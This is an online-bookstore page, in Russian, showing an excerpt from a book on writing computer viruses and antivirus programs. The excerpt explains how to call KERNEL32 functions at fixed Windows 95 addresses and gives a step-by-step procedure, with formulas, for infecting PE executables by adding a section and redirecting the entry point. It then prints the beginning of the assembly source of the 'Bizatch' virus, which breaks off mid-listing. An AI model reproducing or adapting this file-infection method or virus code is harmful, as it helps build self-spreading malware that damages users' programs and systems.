» » » » Игорь Гульев - Создаем вирус и антивирус


Авторские права

Игорь Гульев - Создаем вирус и антивирус

Здесь можно купить и скачать "Игорь Гульев - Создаем вирус и антивирус" в формате fb2, epub, txt, doc, pdf. Жанр: Прочая околокомпьтерная литература. Так же Вы можете читать ознакомительный отрывок из книги на сайте LibFox.Ru (ЛибФокс) или прочесть описание и ознакомиться с отзывами.
Игорь Гульев - Создаем вирус и антивирус
Рейтинг:
Название:
Создаем вирус и антивирус
Издательство:
неизвестно
Год:
неизвестен
ISBN:
нет данных
Вы автор?
Книга распространяется на условиях партнёрской программы.
Все авторские права соблюдены. Напишите нам, если Вы не согласны.

Как получить книгу?
Оплатили, но не знаете что делать дальше? Инструкция.

Описание книги "Создаем вирус и антивирус"

Описание и краткое содержание "Создаем вирус и антивирус" читать бесплатно онлайн.



Virus Warning!

С этим сообщением, хоть раз в жизни, сталкивался любой пользователь компьютера. Вирмейкеры с упорством маньяков плодят все новые и новые разновидности вирусов. Бытует мнение, что избавиться от них можно лишь с помощью сложных и дорогостоящих новейших антивирусных программ. Это не совсем верно – знание принципов действия и способов внедрения вирусов поможет вовремя их обнаружить и локализовать, даже если под рукой не окажется подходящей антивирусной «вакцины».

В этой книге вы найдете обширный материал, посвященный проблеме защиты информации, рассмотренной с обеих сторон баррикад (как от лица вирмейкера, так и создателя антивирусов).






Чтобы получить описатель (Handle) DLL/EXE, можно использовать вызов API GetModuleHandle или другие функции для получения точек входа модуля, включая функцию получения адреса API GetProcAddress. Как вызывать API, имея возможность вызывать его и в то же время такой возможности не имея? Ответ: вызывать API, расположение которого в памяти известно – это API в файле KERNEL32.DLL, он находится по постоянному адресу.

Вызов API приложениями выглядит приблизительно так:

call API_FUNCTION_NAME

например:

call CreateFileA

После компиляции этот вызов выглядит так:

db 9Ah ;инструкция call dd ???? ;смещение в таблице переходов

Код в таблице переходов похож на такой:

jmp far [offset into import table]

Смещение в таблице импортируемых имен содержит адрес диспетчера для данной функции API. Этот адрес можно получить с помощью GetProcAddress API. Диспетчер функций выглядит так:

push function value call Module Entrypoint

Зная точки входа, можно вызывать их напрямую, минуя таблицу этого модуля. Поэтому можно заменить вызовы KERNEL32.DLL в его стандартной точке на вызовы непосредственно функций. Просто сохраняем в стеке значение функции и вызываем точку входа в модуль.

Модуль KERNEL32 располагается в памяти статически – именно так и предполагалось. Но конкретное место его расположения в разных версиях Windows 95 отличается. Это было проверено. Оказалось, что одна функция (получение времени/даты) отличается номером. Для компенсации этих различий добавлена проверка двух различных мест на наличие KERNEL32. Но если KERNEL32 все-таки не найден, вирус возвращает управление программе-носителю.

Адреса и номера функций

Для June Test Release KERNEL32 находится по адресу 0BFF93B95h, для August Release – по адресу 0BFF93C1Dh. Можно найти другие значения функции, используя 32-битный отладчик. В таблице 3.1 приведены адреса функций, которые нужны для работы вируса.

Таблица 3.1. Адреса некоторых функций KERNEL

Соглашения о вызовах

Windows 95 написан на языках C++ (в основном) и Assembler. И, хотя соглашения о вызовах просты для применения, Microsoft их не использует. Все API под Win95 используют Pascal Calling Convention. Пример – API, описанный в файлах справки Visual C++:

FARPROC GetProcAddress(

HMODULE hModule, // описатель DLL−модуля

LPCSTR lpszProc // имя функции

);

На первый взгляд кажется, что достаточно лишь сохранить в стеке описатель DLL-модуля (он стоит перед указателем на имя функции) и вызвать API. Но это не так. Параметры, согласно Pascal Calling Convention, должны быть сохранены в стеке в обратном порядке:

push offset lpszProc

push dword ptr [hModule]

call GetProcAddress

Используя 32-битный отладчик, можно оттрассировать вызов и найти вызов KERNEL32 для каждого конкретного случая. Это позволит получить номер функции и обойтись без необходимой для вызова таблицы импортируемых имен.

Заражение файлов формата PE-executable

Определение положения начала PE-заголовка происходит аналогично поиску начала NE-заголовка. Если смещение таблицы настройки адресов (поле 18h) в заголовке EXE-файла 40h или больше, то по смещению 3Ch находится смещение PE-executable заголовка. Сигнатура PE-executable («PE») находится, как и у NE-executable EXE-файла, в начале нового заголовка.

Внутри PE-заголовка находится таблица объектов. Ее формат наиболее важен по сравнению с прочими. Для добавления вирусного кода в носитель и перехвата вирусом управления необходимо добавить элемент в таблицу объектов.

Основные действия заражения PE-executable файла:

1. Найти смещение заголовка PE-executable в файле.

2. Считать достаточное количество информации из заголовка для вычисления его полного размера.

3. Считать весь PE-заголовок и таблицу объектов.

4. Добавить новый объект в таблицу объектов.

5. Установить точку входа RVA на новый объект.

6. Дописать вирус к файлу по вычисленному физическому смещению.

7. Записать измененный PE-заголовок в файл.

Для определения расположения таблицы объектов следует воспользоваться значением переменной «HeaderSize» (не путать с «NT headersize»), которая содержит совместный размер заголовков DOS, PE и таблицы объектов.

Для чтения таблицы объектов необходимо считать HeaderSize байт от начала файла.

Таблица объектов расположена непосредственно за NT-заголовком. Значение «NTheadersize» показывает количество байт, следующих за полем «flags». Итак, для определения смещения таблицы объектов нужно получить NTheaderSize и добавить размер поля флагов (24).

Добавление объекта: получив количество объектов, умножить его на 40 (размер элемента таблицы объектов). Таким образом определяется смещение, по которому будет расположен вирус.

Данные для элемента таблицы объектов должны быть вычислены с использованием информации в предыдущем элементе (элементе носителя).

RVA=((prev RVA+prev Virtual Size)/OBJ Alignment+1)

*OBJ Alignment

Virtual Size=((size of virus+buffer any space)/OBJ Alignment+1)

*OBJ Alignment

Physical Size=(size of virus/File Alignment+1)*File Alignment

Physical Offset=prev Physical Offset+prev Physical Size

Object Flags=db 40h,0,0,C0h

Entrypoint RVA=RVA

Теперь необходимо увеличить на единицу поле «количество объектов» и записать код вируса по вычисленному «физическому смещению» в размере «физического размера» байт.

Пример вируса под Windows 95

.386

locals

jumps

.model flat,STDCALL

include win32.inc ;некоторые 32−битные константы и структуры

L equ <LARGE>

;Определим внешние функции, к которым будет подключаться вирус

extrn BeginPaint:PROC

extrn CreateWindowExA:PROC

extrn DefWindowProcA:PROC

extrn DispatchMessageA:PROC

extrn EndPaint:PROC

extrn ExitProcess:PROC

extrn FindWindowA:PROC

extrn GetMessageA:PROC

extrn GetModuleHandleA:PROC

extrn GetStockObject:PROC

extrn InvalidateRect:PROC

extrn LoadCursorA:PROC

extrn LoadIconA:PROC

extrn MessageBeep:PROC

extrn PostQuitMessage:PROC

extrn RegisterClassA:PROC

extrn ShowWindow:PROC

extrn SetWindowPos:PROC

extrn TextOutA:PROC

extrn TranslateMessage:PROC

extrn UpdateWindow:PROC

;Для поддержки Unicode Win32 интерпретирует некоторые функции

;для ANSI или расширенного набора символов.

;В качестве примера рассмотрим ANSI

CreateWindowEx equ <CreateWindowExA>

DefWindowProc equ <DefWindowProcA>

DispatchMessage equ <DispatchMessageA>

FindWindow equ <FindWindowA>

GetMessage equ <GetMessageA>

GetModuleHandle equ <GetModuleHandleA>

LoadCursor equ <LoadCursorA>

LoadIcon equ <LoadIconA>

MessageBox equ <MessageBoxA>

RegisterClass equ <RegisterClassA>

TextOut equ <TextOutA>

.data

newhwnd dd 0

lppaint PAINTSTRUCT <?>

msg MSGSTRUCT <?>

wc WNDCLASS <?>

mbx_count dd 0

hInst dd 0

szTitleName db ”Bizatch by Quantum / VLAD activated”

zero db 0

szAlternate db ”more than once”,0

szClassName db ”ASMCLASS32”,0

;Сообщение, выводимое в окне

szPaint db ”Left Button pressed:”

s_num db ”00000000h times.”,0

;Размер сообщения

MSG_L EQU ($−offset szPaint)−1

.code

;Сюда обычно передается управление от загрузчика.

start:

;Получим HMODULE

push L 0

call GetModuleHandle

mov [hInst],eax

push L 0

push offset szClassName

call FindWindow

or eax,eax

jz reg_class

;Пространство для модификации строки заголовка

mov [zero],” ”

reg_class:

;Инициализируем структуру WndClass

mov [wc.clsStyle],CS_HREDRAW+CS_VREDRAW+CS_GLOBALCLASS

mov [wc.clsLpfnWndProc],offset WndProc

mov [wc.clsCbClsExtra],0

mov [wc.clsCbWndExtra],0

mov eax,[hInst]

mov [wc.clsHInstance], eax

;Загружаем значок

push L IDI_APPLICATION

push L 0

call LoadIcon

mov [wc.clsHIcon], eax

;Загружаем курсор

push L IDC_ARROW

push L 0

call LoadCursor

mov [wc.clsHCursor], eax

;Инициализируем оставшиеся поля структуры WndClass

mov [wc.clsHbrBackground],COLOR_WINDOW+1

mov dword ptr [wc.clsLpszMenuName],0

mov dword ptr [wc.clsLpszClassName],offset szClassName

;Регистрируем класс окна

push offset wc

call RegisterClass

;Создаем окно

push L 0 ;lpParam

push [hInst] ;hInstance

push L 0 ;Меню

push L 0 ;hwnd родительского

окна

push L CW_USEDEFAULT ;Высота

push L CW_USEDEFAULT ;Длина

push L CW_USEDEFAULT ;Y

push L CW_USEDEFAULT ;X

push L WS_OVERLAPPEDWINDOW ;Style

push offset szTitleName ;Title Style

push offset szClassName ;Class name

push L 0 ;extra style

call CreateWindowEx

;Сохраняем HWND

mov [newhwnd], eax

;Отображаем окно на экране

push L SW_SHOWNORMAL

push [newhwnd]

call ShowWindow

;Обновляем содержимое окна

push [newhwnd]

call UpdateWindow

;Очередь сообщений

msg_loop:

;Прочитаем следующее сообщение из очереди

push L 0

push L 0

push L 0

push offset msg

call GetMessage

;Если функция GetMessage вернула нулевое значение, то завершаем

;обработку сообщений и выходим из процесса

cmp ax,0

je end_loop

;Преобразуем виртуальные коды клавиш в сообщения клавиатуры

push offset msg

call TranslateMessage

;Передаем это сообщение назад в Windows

push offset msg

call DispatchMessage

;Переходим к следующему сообщению

jmp msg_loop

;Выход из процесса

end_loop:

push [msg.msWPARAM]

call ExitProcess

;Обработка сообщений окна. Win32 требует сохранения регистров

;EBX, EDI, ESI. Запишем эти регистры после ”uses” в строке ”proc”.

;Это позволит Ассемблеру сохранить их

WndProc proc uses ebx edi esi, hwnd:DWORD, wmsg:DWORD, wparam:

DWORD, lparam:DWORD

LOCAL theDC:DWORD

;Проверим, какое сообщение получили, и перейдем к обработке

cmp [wmsg],WM_DESTROY

je wmdestroy

cmp [wmsg],WM_RBUTTONDOWN

je wmrbuttondown

cmp [wmsg],WM_SIZE

je wmsize

cmp [wmsg],WM_CREATE

je wmcreate

cmp [wmsg],WM_LBUTTONDOWN

je wmlbuttondown

cmp [wmsg],WM_PAINT

je wmpaint

cmp [wmsg],WM_GETMINMAXINFO

je wmgetminmaxinfo

;Данная программа не обрабатывает это сообщение.

;Передадим его Windows,

;чтобы оно было обработано по умолчанию

jmp defwndproc

;Сообщение WM_PAINT (перерисовать содержимое окна)

wmpaint:

;Подготовим окно для перерисовки

push offset lppaint

push [hwnd]

call BeginPaint

mov [theDC], eax

;Переведем в ASCII−формат значение mbx_count, которое

;показывает, сколько раз была нажата левая кнопка мыши

mov eax,[mbx_count]

mov edi, offset s_num

call HexWrite32

;Вывод строки в окно

push L MSG_L ;Длина строки


На Facebook В Твиттере В Instagram В Одноклассниках Мы Вконтакте
Подписывайтесь на наши страницы в социальных сетях.
Будьте в курсе последних книжных новинок, комментируйте, обсуждайте. Мы ждём Вас!

Похожие книги на "Создаем вирус и антивирус"

Книги похожие на "Создаем вирус и антивирус" читать онлайн или скачать бесплатно полные версии.


Понравилась книга? Оставьте Ваш комментарий, поделитесь впечатлениями или расскажите друзьям

Все книги автора Игорь Гульев

Игорь Гульев - все книги автора в одном месте на сайте онлайн библиотеки LibFox.

Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь.
Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.

Отзывы о "Игорь Гульев - Создаем вирус и антивирус"

Отзывы читателей о книге "Создаем вирус и антивирус", комментарии и мнения людей о произведении.

А что Вы думаете о книге? Оставьте Ваш отзыв.